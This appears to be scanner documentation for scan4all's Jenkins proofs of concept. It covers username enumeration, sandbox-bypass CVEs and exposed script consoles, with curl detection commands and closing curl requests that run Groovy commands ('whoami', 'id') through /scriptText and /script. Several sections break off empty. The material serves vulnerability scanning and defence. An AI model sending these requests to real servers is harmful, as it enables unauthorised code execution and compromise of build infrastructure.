Jenkins is a popular open-source automation server used for CI/CD pipelines. scan4all includes POCs for multiple Jenkins vulnerabilities that allow remote code execution and unauthorized access.
Jenkins servers often have access to production environments, source code repositories, and credentials. Compromise can lead to supply chain attacks.
Description:Jenkins vulnerability affecting various versions. The POC checks for specific Jenkins configuration weaknesses.Source:pocs_go/jenkins/CVE_2016_0792.go
Description:Jenkins user search functionality can be exploited to enumerate valid usernames on the system. This information can be used for targeted attacks, password spraying, or social engineering.Impact:
Username enumeration
Information disclosure
Reconnaissance for further attacks
Detection Method:
# Check user search endpointcurl http://jenkins/asynchPeople/curl http://jenkins/securityRealm/user/
Description:Critical vulnerability in Jenkins that allows authenticated users with Overall/Read permission to execute arbitrary Groovy scripts. The vulnerability exists in the Script Security sandbox bypass.Technical Details:
Description:Another script security sandbox bypass in Jenkins. This vulnerability affects the Script Security plugin and Groovy plugin, allowing authenticated users to execute arbitrary code.Technical Details:
Component: Script Security Plugin ≤ 1.49
Component: Groovy Plugin ≤ 2.61
Attack Vector: Sandbox escape via meta-programming
Requirement: Authenticated user
Vulnerable Components:
Component
Vulnerable Version
Script Security Plugin
≤ 1.49
Groovy Plugin
≤ 2.61
Exploitation:Similar to CVE-2018-1000861, but uses different sandbox escape techniques:
Description:Some Jenkins installations have improperly configured security settings that allow unauthenticated access to the Groovy script console. This provides direct remote code execution without any credentials.Common Misconfigurations:
No Authorization Strategy
Jenkins > Manage Jenkins > Configure Global SecurityAuthorization: "Anyone can do anything"
Public Script Console
/script endpoint accessible without authentication/scriptText endpoint exposed
Anonymous Read+Execute
Anonymous user has execute permissions
Matrix-based security misconfigured
Detection:
# Check if script console is accessiblecurl http://jenkins/scriptcurl http://jenkins/scriptText# Check if job creation is allowedcurl http://jenkins/createItem# Try to access manage pagecurl http://jenkins/manage
Exploitation:
# Execute Groovy scriptcurl -X POST http://jenkins/scriptText \ -d "script=println('whoami'.execute().text)"# Alternative endpointcurl -X POST http://jenkins/script \ -d "script=println('id'.execute().text)" \ -d "Submit=Run"